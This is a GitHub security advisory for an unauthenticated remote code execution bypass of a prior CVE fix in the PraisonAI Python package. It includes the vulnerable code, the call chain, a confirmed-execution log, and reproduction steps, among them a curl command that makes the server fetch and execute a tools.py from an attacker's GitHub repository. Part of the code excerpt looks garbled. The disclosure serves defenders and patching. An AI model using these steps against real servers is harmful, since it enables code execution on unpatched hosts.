GitHub Advisoryadvisory · PyPI

GHSA-xcmw-grxf-wjhj PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)

HIGH Published 2026-05-06 Modified 2026-05-12 Official page ↗
Aliases
CVE-2026-44334
Ecosystem
PyPI
Packages
praisonai
Severity
High
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2026-05-06

Affected packages

• PyPI praisonai: >= 4.5.139, < 4.6.32 → fixed in 4.6.32

Description

TL;DR CVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in two files (`tool_resolver.py`, `api/call.py`). A third import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required. Patch coverage gap CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at: | File | Line | Gate | |---|---|---| | `praisonai/tool_resolver.py` | 77 | `if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":` | | `praisonai/api/call.py` | 80 | same | But the equivalent sinks in `praisonai/templates/tool_override.py` were not patched: ```python tool_override.py - create_tool_registry_with_overrides() 332 cwd_tools_py = Path.cwd() / "tools.py" 333 if cwd_tools_py.exists(): 334 try: 335 tools = loader.load_from_file(str(cwd_tools_py)) # " | "github://"} │ ▼ recipe/serve.py:483 run_recipe(request) ← auth=none default │ ▼ recipe/core.py:215 recipe.run(name, ...) │ ▼ recipe/core.py:686 _load_recipe(name) └─ ".." check only; absolute paths and URIs allowed │ ▼ templates/loader.py:94 TemplateLoader.load(uri) │ ▼ templates/security.py:130 is_source_allowed("github:*") └─ allow_any_github=True default → returns True │ ▼ templates/registry.py fetch repo from raw.githubusercontent.com → cache dir │ ▼ templates/security.py:215 validate_template_directory(cached.path) └─ .py is in allowed_extensions → tools.py kept │ ▼ recipe/core.py:887 _execute_recipe(recipe_config, ...) │ ▼ recipe/core.py:943 create_tool_registry_with_overrides( include_defaults=True, template_dir=recipe_config.path) │ ▼ templates/tool_override.py:341-349 load_from_file(template_dir/tools.py) │ ▼ templates/tool_override.py:94 spec.loader.exec_module(module) ← RCE ``` The tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction. Confirmed execution (2026-04-25, praisonai 4.6.31) ``` SERVER stdout (PID 43784): Uvicorn running on http://127.0.0.1:8765 127.0.0.1 - POST /v1/recipes/run HTTP/1.1 [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt 127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error Marker file: pid: 43784 ← matches server PID argv: ['server.py'] ← server process, not exploit ``` The 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent. Reproduction (local-path variant) Files under `pocs/praisonai-cve-2026-40287-bypass/`: • evil_recipe/TEMPLATE.yaml - minimal recipe metadata • evil_recipe/tools.py - payload (writes a marker file in tempdir) • server.py - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`) • exploit.py - single POST to `/v1/recipes/run` ```bash pip install 'praisonai[serve]==4.6.31' Terminal 1 python server.py Terminal 2 python exploit.py ``` Expected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process. Reproduction (remote GitHub variant) ```bash Push evil_recipe/ to https://github.com//poc-recipe (public repo) curl -X POST http://target:8765/v1/recipes/run \ -H 'Content-Type: application/json' \ -d '{"recipe":"github:/poc-recipe/poc-recipe"}' ``` No filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.

Related

Alias · CVE (1)

  • CVE-2026-44334 PraisonAI is a multi-agent teams system. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References